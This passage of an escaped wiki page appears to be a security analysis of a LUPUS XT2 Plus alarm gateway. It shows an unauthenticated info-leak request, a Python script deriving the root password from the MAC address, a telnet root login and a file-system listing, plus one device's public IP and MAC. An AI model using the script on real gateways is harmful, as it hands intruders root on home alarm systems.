 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Host script results&amp;lt;/b&amp;gt;:&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_clock-skew: -18316d18h02m30s&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Information Leak&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Shell&amp;lt;/b&amp;gt;: curl https://&amp;lt;b&amp;gt;$XT2_IP&amp;lt;/b&amp;gt;/action/welcomeGet&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span&amp;gt;{&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;  &amp;quot;updates&amp;quot; : {&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;version&amp;quot; : &amp;quot;HPGW-G 0.0.2.19E HPGW-L2-XA35A &amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;em_ver&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;0.0.2.19E&amp;lt;/b&amp;gt;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ver&amp;quot; : &amp;quot;HPGW-L2-XA35A&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ext_cap&amp;quot; : &amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ext_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zb_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zbs_ver&amp;quot; : &amp;quot;3.1.2.6.1&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zw_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;gsm_ver&amp;quot; : &amp;quot;Cinterion BGS2-W REVISION 01.301&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;publicip&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;185.108.250.116&amp;lt;/b&amp;gt;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;ip&amp;quot; : &amp;quot;192.168.86.34&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;mac&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;00:1D:94:05:85:A7&amp;lt;/b&amp;gt;&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;  }&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;}&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: No authentication needed!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Root Password Deriviation&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The derivation of this script is further explained below by analyzing the program &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Code&amp;lt;/b&amp;gt;: root_pw_deriviation.py&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
#!/bin/python&lt;br /&gt;
&lt;br /&gt;
import hashlib&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
mac = &amp;quot;001d940585a7&amp;quot; # MAC address without colons in all lowercase&lt;br /&gt;
x = &amp;quot;7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf&amp;quot;&lt;br /&gt;
y = &amp;quot;5156&amp;quot; + mac + &amp;quot;2759&amp;quot;&lt;br /&gt;
digest = hashlib.sha256()&lt;br /&gt;
digest.update(y)&lt;br /&gt;
z = digest.digest()&lt;br /&gt;
sys.stdout.write(x[ord(z[5]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[7]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[28]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[6]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[24]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[15]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[13]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[16]) % len(x)])&lt;br /&gt;
&lt;br /&gt;
sys.stdout.flush()&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[#CVE1|Dan Fabian (4 Apr 2019)]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Telnet&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Although the device is very well protected, the question arises why it has an open Telnet port on &amp;lt;code&amp;gt;55023&amp;lt;/code&amp;gt;.  Although it is not on its standard port, it is not more difficult to find.  Furthermore Fabian D. found out that in the firmware versions before &amp;lt;code&amp;gt;v0.0.3.0&amp;lt;/code&amp;gt; the root password can be derived from the MAC address using a hardcoded salt as the Python script below shows. This Password in combination with the telnet login allows full access to partially publicly exposed devices. A fatal security hole which has been fixed in the current firmware versions by mid 2019. Now, the affected users only need to upgrade their devices, which was not the case in with the here tested device. Furthermore the password has a length of 8 characters in the key space of &amp;lt;code&amp;gt;^[A-z0-9]$&amp;lt;/code&amp;gt; which is not considered secure by modern standards and the telnet interface has no measures against repeated login attempts.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ telnet $XT2_IP 55023&lt;br /&gt;
Trying 192.168.86.34...&lt;br /&gt;
Connected to 192.168.86.34.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
&lt;br /&gt;
HPGW-NET6 login: root&lt;br /&gt;
Password:&lt;br /&gt;
Welcome to&lt;br /&gt;
     ____   __ __                                       __&lt;br /&gt;
    / ___\ / //_/                      __              / /&lt;br /&gt;
   / /    / /__ _ __   __  __  __    _/ / ___   ___   / /_&lt;br /&gt;
  / /    / // //    \ /  \ \ \/ /   /  _// _ \ / __\ / __ \&lt;br /&gt;
 / /___ / // // / / // /  \ &amp;gt;  &amp;lt;    / / / ___// /__ / / / /&lt;br /&gt;
 \____//_//_//_/_/_/ \__/\//_/\_\   \_/ \___/ \___//_/ /_/&lt;br /&gt;
&lt;br /&gt;
For further information check:&lt;br /&gt;
http://www.climax.com.tw/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]#&lt;br /&gt;
adc_det_test, ash, busybox, bypassAP, bypassAP_std, cat, chat, cp, depmod, devmem, df, dmesg, dnsdomainname, echo, flash_erase, flash_eraseall, fw_printenv, gm_nand_write, gm_spi_write, grep, gunzip, gzip, halt, hostname, hwclock, i2c_access, ifconfig, init, insmod, iwconfig, iwevent, iwgetid, iwlist, iwpriv, kill, killall, ln, login, loopback, ls, lsmod, md5sum, mdev, mkdir, mknod, modprobe, mount, mv, nanddump, pidof, ping, poweroff, pppd, pppdump, pppoe-discovery, pppstats, ps, pwm_test, reboot, record_std, rm, rmdir, rmmod, route, rtctest, serial_test, sh, sleep, sync, tar, telnetd, top, traceroute, udhcpc, udhcpd, umount, watchdog, wdt_test, zcat&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The basic operating system comes from the Taiwanese company Climax. LUPUSEC simply re-branded a Climax HPGW-G2 system and loaded some of their custom firmware on it.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: File System&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/&lt;br /&gt;
├── bin&lt;br /&gt;
│   ├── adc_det_test&lt;br /&gt;
│   ├── ash -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── busybox&lt;br /&gt;
│   ├── bypassAP&lt;br /&gt;
│   ├── bypassAP_std&lt;br /&gt;
│   ├── cat -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── cp -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── df -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── dmesg -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── dnsdomainname -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── echo -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── flash_erase&lt;br /&gt;
│   ├── flash_eraseall&lt;br /&gt;
│   ├── gm_nand_write&lt;br /&gt;
│   ├── gm_spi_write&lt;br /&gt;
│   ├── grep -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── gunzip -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── gzip -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── hostname -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── i2c_access&lt;br /&gt;
│   ├── iwpriv&lt;br /&gt;
│   ├── kill -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ln -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── login -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── loopback&lt;br /&gt;
│   ├── ls -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mkdir -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mknod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mount -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mv -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── nanddump&lt;br /&gt;
│   ├── pidof -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ping -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ps -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── pwm_test&lt;br /&gt;
│   ├── record_std&lt;br /&gt;
│   ├── rm -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rmdir -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rtctest&lt;br /&gt;
│   ├── serial_test&lt;br /&gt;
│   ├── sh -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── sleep -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── sync -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── tar -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── umount -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── wdt_test&lt;br /&gt;
│   └── zcat -&amp;gt; /bin/busybox&lt;br /&gt;
├── dev&lt;br /&gt;
│   ├── pts&lt;br /&gt;
│   └── shm&lt;br /&gt;
├── etc&lt;br /&gt;
│   ├── fstab&lt;br /&gt;
│   ├── fw_env.config&lt;br /&gt;
│   ├── group&lt;br /&gt;
│   ├── host.conf&lt;br /&gt;
│   ├── hosts&lt;br /&gt;
│   ├── inetd.conf&lt;br /&gt;
│   ├── init.d&lt;br /&gt;
│   │   ├── rc.climax&lt;br /&gt;
│   │   ├── rc.mtd&lt;br /&gt;
│   │   ├── rc.reboot&lt;br /&gt;
│   │   ├── rc.sysinit&lt;br /&gt;
│   │   ├── rc.sysinit_bak&lt;br /&gt;
│   │   ├── rc.test&lt;br /&gt;
│   │   └── test.sh&lt;br /&gt;
│   ├── inittab&lt;br /&gt;
│   ├── issue&lt;br /&gt;
│   ├── motd&lt;br /&gt;
│   ├── network&lt;br /&gt;
│   │   └── interfaces&lt;br /&gt;
│   ├── nsswitch.conf&lt;br /&gt;
│   ├── passwd&lt;br /&gt;
│   ├── profile&lt;br /&gt;
│   ├── resolv.conf&lt;br /&gt;
│   ├── resolv.conf.eth0&lt;br /&gt;
│   ├── services&lt;br /&gt;
│   └── shadow&lt;br /&gt;
├── include&lt;br /&gt;
├── init&lt;br /&gt;
├── lib&lt;br /&gt;
│   ├── ld-2.11.so&lt;br /&gt;
│   ├── ld-linux.so.3 -&amp;gt; ld-2.11.so&lt;br /&gt;
│   ├── libc-2.11.so&lt;br /&gt;
│   ├── libc.so&lt;br /&gt;
│   ├── libc.so.6 -&amp;gt; libc-2.11.so&lt;br /&gt;
│   ├── libcrypt-2.11.so&lt;br /&gt;
│   ├── libcrypt.so -&amp;gt; libcrypt.so.1&lt;br /&gt;
│   ├── libcrypt.so.1 -&amp;gt; libcrypt-2.11.so&lt;br /&gt;
│   ├── libdl-2.11.so&lt;br /&gt;
│   ├── libdl.so -&amp;gt; libdl.so.2&lt;br /&gt;
│   ├── libdl.so.2 -&amp;gt; libdl-2.11.so&lt;br /&gt;
│   ├── libgcc_s.so&lt;br /&gt;
│   ├── libgcc_s.so.1&lt;br /&gt;
│   ├── libiw.so -&amp;gt; libiw.so.30&lt;br /&gt;
│   ├── libiw.so.30&lt;br /&gt;
│   ├── libm-2.11.so&lt;br /&gt;
│   ├── libm.so -&amp;gt; libm.so.6&lt;br /&gt;
│   ├── libm.so.6 -&amp;gt; libm-2.11.so&lt;br /&gt;
│   ├── libnsl-2.11.so&lt;br /&gt;
│   ├── libnsl.so -&amp;gt; libnsl.so.1&lt;br /&gt;
│   ├── libnsl.so.1 -&amp;gt; libnsl-2.11.so&lt;br /&gt;
│   ├── libnss_dns-2.11.so&lt;br /&gt;
│   ├── libnss_dns.so -&amp;gt; libnss_dns.so.2&lt;br /&gt;
│   ├── libnss_dns.so.2 -&amp;gt; libnss_dns-2.11.so&lt;br /&gt;
│   ├── libnss_files-2.11.so&lt;br /&gt;
│   ├── libnss_files.so -&amp;gt; libnss_files.so.2&lt;br /&gt;
│   ├── libnss_files.so.2 -&amp;gt; libnss_files-2.11.so&lt;br /&gt;
│   ├── libpthread-2.11.so&lt;br /&gt;
│   ├── libpthread.so&lt;br /&gt;
│   ├── libpthread.so.0 -&amp;gt; libpthread-2.11.so&lt;br /&gt;
│   ├── libresolv-2.11.so&lt;br /&gt;
│   ├── libresolv.so -&amp;gt; libresolv.so.2&lt;br /&gt;
│   ├── libresolv.so.2 -&amp;gt; libresolv-2.11.so&lt;br /&gt;
│   ├── librt-2.11.so&lt;br /&gt;
│   ├── librt.so -&amp;gt; librt.so.1&lt;br /&gt;
│   ├── librt.so.1 -&amp;gt; librt-2.11.so&lt;br /&gt;
│   ├── libthread_db-1.0.so&lt;br /&gt;
│   ├── libthread_db.so -&amp;gt; libthread_db.so.1&lt;br /&gt;
│   ├── libthread_db.so.1 -&amp;gt; libthread_db-1.0.so&lt;br /&gt;
│   ├── libutil-2.11.so&lt;br /&gt;
│   ├── libutil.so -&amp;gt; libutil.so.1&lt;br /&gt;
│   ├── libutil.so.1 -&amp;gt; libutil-2.11.so&lt;br /&gt;
│   └── modules&lt;br /&gt;
│       ├── climax.ko&lt;br /&gt;
│       ├── cpe-wdt.ko&lt;br /&gt;
│       ├── ftmac100.ko&lt;br /&gt;
│       ├── ftpwmtmr010.ko&lt;br /&gt;
│       ├── ftsar_adc010.ko&lt;br /&gt;
│       ├── rtc-ftrtc011.ko&lt;br /&gt;
│       └── sar_adc_dev0.ko&lt;br /&gt;
├── linuxrc -&amp;gt; bin/busybox&lt;br /&gt;
├── mnt&lt;br /&gt;
│   ├── mtd&lt;br /&gt;
│   │   ├── MAC&lt;br /&gt;
│   │   ├── config&lt;br /&gt;
│   │   │   ├── alarm.log&lt;br /&gt;
│   │   │   ├── alarm_history.json&lt;br /&gt;
│   │   │   ├── alarm_history.json.md5sum&lt;br /&gt;
│   │   │   ├── area.json&lt;br /&gt;
│   │   │   ├── area.json.md5sum&lt;br /&gt;
│   │   │   ├── config.json&lt;br /&gt;
│   │   │   ├── config.json.md5sum&lt;br /&gt;
│   │   │   ├── debug0.log&lt;br /&gt;
│   │   │   ├── debug1.log&lt;br /&gt;
│   │   │   ├── debug2.log&lt;br /&gt;
│   │   │   ├── debug3.log&lt;br /&gt;
│   │   │   ├── device.json&lt;br /&gt;
│   │   │   ├── device.json.md5sum&lt;br /&gt;
│   │   │   ├── device_bak.json&lt;br /&gt;
│   │   │   ├── device_sched.json&lt;br /&gt;
│   │   │   ├── device_sched.json.md5sum&lt;br /&gt;
│   │   │   ├── device_upic.json&lt;br /&gt;
│   │   │   ├── device_upic.json.md5sum&lt;br /&gt;
│   │   │   ├── device_week_schd.json&lt;br /&gt;
│   │   │   ├── device_week_schd.json.md5sum&lt;br /&gt;
│   │   │   ├── group.json&lt;br /&gt;
│   │   │   ├── group.json.md5sum&lt;br /&gt;
│   │   │   ├── ha.json&lt;br /&gt;
│   │   │   ├── ha.json.md5sum&lt;br /&gt;
│   │   │   ├── history.json.md5sum&lt;br /&gt;
│   │   │   ├── history0.part&lt;br /&gt;
│   │   │   ├── image.json&lt;br /&gt;
│   │   │   ├── image.json.md5sum&lt;br /&gt;
│   │   │   ├── note.json&lt;br /&gt;
│   │   │   ├── note.json.md5sum&lt;br /&gt;
│   │   │   ├── report.json&lt;br /&gt;
│   │   │   ├── report.json.md5sum&lt;br /&gt;
│   │   │   ├── report_setting.json&lt;br /&gt;
│   │   │   ├── report_setting.json.md5sum&lt;br /&gt;
│   │   │   ├── system.log&lt;br /&gt;
│   │   │   ├── user.json&lt;br /&gt;
│   │   │   ├── user.json.md5sum&lt;br /&gt;
│   │   │   ├── web_token.json&lt;br /&gt;
│   │   │   └── web_token.json.md5sum&lt;br /&gt;
│   │   └── temp&lt;br /&gt;
│   │       ├── download&lt;br /&gt;
│   │       └── zb&lt;br /&gt;
│   └── nfs&lt;br /&gt;
├── root&lt;br /&gt;
│   ├── common&lt;br /&gt;
│   │   ├── beeper.json&lt;br /&gt;
│   │   ├── device_tmpl.json&lt;br /&gt;
│   │   ├── error.jpg&lt;br /&gt;
│   │   ├── led.json&lt;br /&gt;
│   │   ├── string.json&lt;br /&gt;
│   │   └── string_1p.json&lt;br /&gt;
│   ├── config -&amp;gt; /mnt/mtd/config&lt;br /&gt;
│   ├── config.tgz&lt;br /&gt;
│   ├── driver&lt;br /&gt;
│   │   └── TODO&lt;br /&gt;
│   ├── hpgw&lt;br /&gt;
│   ├── html&lt;br /&gt;
│   │   ├── css&lt;br /&gt;
│   │   │   ├── core.css&lt;br /&gt;
│   │   │   ├── fullscreen.css&lt;br /&gt;
│   │   │   ├── ie-only.css&lt;br /&gt;
│   │   │   ├── jquery.gridster.css&lt;br /&gt;
│   │   │   ├── jquery.guide.css&lt;br /&gt;
│   │   │   ├── main.css&lt;br /&gt;
│   │   │   ├── multiple-select.css&lt;br /&gt;
│   │   │   └── nv.d3.css&lt;br /&gt;
│   │   ├── error.htm&lt;br /&gt;
│   │   ├── factory&lt;br /&gt;
│   │   │   ├── deviceLr.htm&lt;br /&gt;
│   │   │   ├── mac.htm&lt;br /&gt;
│   │   │   └── test.htm&lt;br /&gt;
│   │   ├── favicon.ico&lt;br /&gt;
│   │   ├── fonts&lt;br /&gt;
│   │   │   ├── FuturaBT-HeavyItalic.ttf&lt;br /&gt;
│   │   │   ├── FuturaBT-HeavyItalic.woff&lt;br /&gt;
│   │   │   ├── FuturaStd-Light.ttf&lt;br /&gt;
│   │   │   ├── FuturaStd-Light.woff&lt;br /&gt;
│   │   │   ├── FuturaStdBook.ttf&lt;br /&gt;
│   │   │   └── FuturaStdBook.woff&lt;br /&gt;
│   │   ├── images&lt;br /&gt;
│   │   │   ├── activityspin.gif&lt;br /&gt;
│   │   │   ├── ajaxld.gif&lt;br /&gt;
│   │   │   ├── arrow.gif&lt;br /&gt;
│   │   │   ├── arrows.png&lt;br /&gt;
│   │   │   ├── bg_help.png&lt;br /&gt;
│   │   │   ├── bg_page.png&lt;br /&gt;
│   │   │   ├── clock_bg_bottom.png&lt;br /&gt;
│   │   │   ├── clock_bg_top.png&lt;br /&gt;
│   │   │   ├── close.gif&lt;br /&gt;
│   │   │   ├── colorwheel.png&lt;br /&gt;
│   │   │   ├── column.gif&lt;br /&gt;
│   │   │   ├── column_grey.gif&lt;br /&gt;
│   │   │   ├── column_grey_2.gif&lt;br /&gt;
│   │   │   ├── control_buttons.png&lt;br /&gt;
│   │   │   ├── dialog2-grey.png&lt;br /&gt;
│   │   │   ├── empty.gif&lt;br /&gt;
│   │   │   ├── error.jpg&lt;br /&gt;
│   │   │   ├── hue_200.jpg&lt;br /&gt;
│   │   │   ├── icon-e.gif&lt;br /&gt;
│   │   │   ├── icon-s.gif&lt;br /&gt;
│   │   │   ├── icon-w.gif&lt;br /&gt;
│   │   │   ├── icon_close.png&lt;br /&gt;
│   │   │   ├── icon_menu.png&lt;br /&gt;
│   │   │   ├── icon_notification_alarm.png&lt;br /&gt;
│   │   │   ├── icon_notification_info.png&lt;br /&gt;
│   │   │   ├── icon_notification_shield.png&lt;br /&gt;
│   │   │   ├── icon_notification_warning.png&lt;br /&gt;
│   │   │   ├── icons.png&lt;br /&gt;
│   │   │   ├── jscal.gif&lt;br /&gt;
│   │   │   ├── leds.png&lt;br /&gt;
│   │   │   ├── lupusec24_banner.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_main.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_premium.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_standard.jpg&lt;br /&gt;
│   │   │   ├── mode_map.png&lt;br /&gt;
│   │   │   ├── mode_map_icons.png&lt;br /&gt;
│   │   │   ├── multiple-select.png&lt;br /&gt;
│   │   │   ├── nav-slider.png&lt;br /&gt;
│   │   │   ├── nav_sub.png&lt;br /&gt;
│   │   │   ├── navmain_bg.gif&lt;br /&gt;
│   │   │   ├── navsub_bg.gif&lt;br /&gt;
│   │   │   ├── navsub_bg_active.png&lt;br /&gt;
│   │   │   ├── navtop_bg.gif&lt;br /&gt;
│   │   │   ├── osd_buttons_18x18.png&lt;br /&gt;
│   │   │   ├── osd_opener.png&lt;br /&gt;
│   │   │   ├── osd_status.png&lt;br /&gt;
│   │   │   ├── panel_status.png&lt;br /&gt;
│   │   │   ├── scale.png&lt;br /&gt;
│   │   │   ├── signal.png&lt;br /&gt;
│   │   │   ├── tour_ipcam.png&lt;br /&gt;
│   │   │   ├── wizard.png&lt;br /&gt;
│   │   │   └── x.gif&lt;br /&gt;
│   │   ├── index.htm&lt;br /&gt;
│   │   ├── js&lt;br /&gt;
│   │   │   ├── colorpicker.js&lt;br /&gt;
│   │   │   ├── common.js&lt;br /&gt;
│   │   │   ├── core.js&lt;br /&gt;
│   │   │   ├── crossfilter.min.js&lt;br /&gt;
│   │   │   ├── d3.min.js&lt;br /&gt;
│   │   │   ├── grid.colorpicker.js&lt;br /&gt;
│   │   │   ├── grid.js&lt;br /&gt;
│   │   │   ├── jquery-1.12.4.min.js&lt;br /&gt;
│   │   │   ├── jquery-ui-1.11.4.custom.min.js&lt;br /&gt;
│   │   │   ├── jquery.gridster.js&lt;br /&gt;
│   │   │   ├── jquery.guide.js&lt;br /&gt;
│   │   │   ├── jquery.multiple.select.min.js&lt;br /&gt;
│   │   │   ├── jquery.scrollbar.js&lt;br /&gt;
│   │   │   ├── jquery.ui.timepicker.js&lt;br /&gt;
│   │   │   ├── lz-string.js&lt;br /&gt;
│   │   │   ├── mdetect.js&lt;br /&gt;
│   │   │   ├── menu.js&lt;br /&gt;
│   │   │   ├── modernizr-2.8.3.min.js&lt;br /&gt;
│   │   │   ├── nvd3-1.1.11b.custom.js&lt;br /&gt;
│   │   │   └── overview.js&lt;br /&gt;
│   │   ├── language&lt;br /&gt;
│   │   │   ├── de.js&lt;br /&gt;
│   │   │   ├── en.js&lt;br /&gt;
│   │   │   ├── fr.js&lt;br /&gt;
│   │   │   ├── it.js&lt;br /&gt;
│   │   │   └── sp.js&lt;br /&gt;
│   │   ├── override&lt;br /&gt;
│   │   │   ├── de.js&lt;br /&gt;
│   │   │   ├── en.js&lt;br /&gt;
│   │   │   ├── fr.js&lt;br /&gt;
│   │   │   ├── it.js&lt;br /&gt;
│   │   │   └── sp.js&lt;br /&gt;
│   │   ├── pax_global_header&lt;br /&gt;
│   │   ├── rf&lt;br /&gt;
│   │   │   └── deviceAddByID.htm&lt;br /&gt;
│   │   ├── setting&lt;br /&gt;
│   │   │   ├── actUrl.htm&lt;br /&gt;
│   │   │   ├── adminUser.htm&lt;br /&gt;
│   │   │   ├── amr.htm&lt;br /&gt;
│   │   │   ├── capEvent.htm&lt;br /&gt;
│   │   │   ├── changePasswd.htm&lt;br /&gt;
│   │   │   ├── changePasswd3.htm&lt;br /&gt;
│   │   │   ├── codeSetting.htm&lt;br /&gt;
│   │   │   ├── comparsion.htm&lt;br /&gt;
│   │   │   ├── config.htm&lt;br /&gt;
│   │   │   ├── datetime.htm&lt;br /&gt;
│   │   │   ├── ddnsWeb.htm&lt;br /&gt;
│   │   │   ├── debug.htm&lt;br /&gt;
│   │   │   ├── deviceEdit.htm&lt;br /&gt;
│   │   │   ├── deviceEx.htm&lt;br /&gt;
│   │   │   ├── deviceLr.htm&lt;br /&gt;
│   │   │   ├── deviceLrRule.htm&lt;br /&gt;
│   │   │   ├── deviceLrRuleAdd.htm&lt;br /&gt;
│   │   │   ├── deviceLrRuleEdit.htm&lt;br /&gt;
│   │   │   ├── devicePSS.htm&lt;br /&gt;
│   │   │   ├── deviceSurv.htm&lt;br /&gt;
│   │   │   ├── deviceThermo.htm&lt;br /&gt;
│   │   │   ├── deviceUPIC.htm&lt;br /&gt;
│   │   │   ├── deviceUpgrade.htm&lt;br /&gt;
│   │   │   ├── deviceWk.htm&lt;br /&gt;
│   │   │   ├── factoryRst.htm&lt;br /&gt;
│   │   │   ├── fullscreen.htm&lt;br /&gt;
│   │   │   ├── grid.htm&lt;br /&gt;
│   │   │   ├── group.htm&lt;br /&gt;
│   │   │   ├── ha.htm&lt;br /&gt;
│   │   │   ├── history.htm&lt;br /&gt;
│   │   │   ├── historyPSM.htm&lt;br /&gt;
│   │   │   ├── historyTemp.htm&lt;br /&gt;
│   │   │   ├── info.htm&lt;br /&gt;
│   │   │   ├── ipcam.htm&lt;br /&gt;
│   │   │   ├── language.htm&lt;br /&gt;
│   │   │   ├── log.htm&lt;br /&gt;
│   │   │   ├── logger.htm&lt;br /&gt;
│   │   │   ├── mobile.htm&lt;br /&gt;
│   │   │   ├── network.htm&lt;br /&gt;
│   │   │   ├── newPasswd.htm&lt;br /&gt;
│   │   │   ├── noteEdit.htm&lt;br /&gt;
│   │   │   ├── overview.htm&lt;br /&gt;
│   │   │   ├── panel.htm&lt;br /&gt;
│   │   │   ├── poll.htm&lt;br /&gt;
│   │   │   ├── progSiren.htm&lt;br /&gt;
│   │   │   ├── record.htm&lt;br /&gt;
